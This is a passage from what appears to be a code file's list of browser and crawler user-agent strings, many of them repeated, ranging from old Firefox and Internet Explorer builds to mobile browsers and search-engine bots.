'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (<EMAIL>; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
'Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A',
'Mozilla/5.0 (PLAYSTATION 3; 3.55)', 'Mozilla/5.0 (PLAYSTATION 3; 2.00)',
'Mozilla/5.0 (PLAYSTATION 3; 1.00)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0',
'Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)',
'SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
